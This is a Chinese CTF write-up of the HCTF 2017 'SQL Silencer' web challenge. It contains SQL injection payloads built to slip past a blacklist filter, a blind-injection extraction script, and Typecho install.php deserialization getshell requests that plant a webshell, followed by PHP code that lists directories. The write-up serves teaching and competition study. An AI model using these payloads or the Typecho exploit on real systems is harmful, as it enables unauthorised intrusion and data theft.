## SQL Silencer

*发表于 2021-01-21 分类于 Challenge ， 2017 ， HCTF ， Web*
*Challenge | 2017 | HCTF | Web | SQL Silencer*

*点击此处获得更好的阅读体验*

---

## *WriteUp 来源*

*https://xz.aliyun.com/t/1589*

## *题目考点*

## *解题思路*

*有些假过滤，简化一下贴出注入部分最重要部分的代码*

```
function sql_check($sql){
 if($sql < 1 || $sql > 3){
 die('We only have 3 users.');
 }

 $check = preg_match('/&|_|\\+|or|,|and| |\\|\\|#|-|`|;|"|\\'|\\*|into|union([\\s\\S]+)select([\\s\\S]+)from/i',$sql);
 if( $check ){
 die("Nonono!");
 } else {
 return $sql;
 }
}
```

*这道题其实是可以显注的，各位有兴趣的可以先去试试*

*然而由于是黑名单不全的原因，几乎所有队伍都是用盲注做出来的*

*当前数据库有2个表，一个`user`，一个`flag`*

*user表里有3条数据，flag表里也有2条数据*

*所以有队伍在子查询中测试`select(flag)from(flag)`会返回there is nothing从而怀疑flag表不存在*

*因为数据库中会报错：ERROR 1242 (21000): `Subquery returns more than 1 row`*

*先说盲注吧，由于很多函数都没禁用，盲注的方法有很多，随便贴一个*

*由于`3^1=2 -> Bob,3^2=1 -> Alice,3^0 -> Cc`*

*看flag表中有多少行 `id=3^(select(count(flag))from(flag))`*

*返回Alice，确定flag表中只有2条数据 跑flag的poc:*

```
`id=3^(select(count(1))from(flag)where(binary(flag)<0x30))`
```

*写脚本直接跑就能跑出一个目录名，由于flag表里中第一条数据是没啥用的。给做题师傅们带来了些困扰，有些抱歉。*

```
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author = 'c014'

import requests

s = requests.session()
flag = ""

for i in xrange(100):
    for j in range(33,128):
        url = "http://sqls.2017.hctf.io/index/index.php?id=3^(select(count(1))from(flag)where(binary(flag)<0x{}))".format((flag+chr(j)).encode('hex'))
        r = s.get(url)
        if 'Cc' not in r.text:
            flag = flag + chr(j-1)
            print '[+]flag:'+flag
            break
```

*跑出目录`./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/`后*

*访问`/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php`发现搭的是typecho*

*可以拿前段时间的Typecho前台getshell漏洞直接打*

*有两种方法，一种是直接回显命令执行，另一种是上传`shell`*

*由于根目录一般不会有可写权限，所以我准备了一个uploads目录，并且存在.DS_Store泄露*
*直接打的poc为：*

```
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Post: __typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6MDoiZGF0
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=
```

*根据需求修改base64内容即可*
*上传shell的poc为：*

```
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnl
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php
```

*即可在uploads目录下创建一个名为`c014.php`的webshell 之后会发现命令执行的函数好像都没有回显，因为我基本上都禁用掉了 这里用php自带的列目录*

```
$c = new DirectoryIterator("glob:///*");
foreach($c as $cc) {
    echo $cc,"</br>";
}
```

*发现根目录下有个 `/flag_is_here` 的文件夹*

然后读取这个文件夹下的内容，有一个flag文件

```
echo file_get_contents('/flag_is_here/flag');
```

get flag~

这题我一开始是想考显注绕过waf`/union([\s\S]+)select([\s\S]+)from/i`

贴一下我预期的显注poc`id=1=2|@c:=(select(1))union(select@c)`

读目录的exp为:`id=1=2|@c:=(select(flag)from(flag)where(flag<0x30))union(select@c)`

## Flag

```
1 无
```

- **本文作者：** CTFHub
- **本文链接：** https://writeup.ctfhub.com/Challenge/2017/HCTF/Web/m6uypoXzp3GaMuUDBfKqqH.html
- **版权声明：** 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

# Challenge # Web # 2017 # HCTF
A World Restored Again
Repeater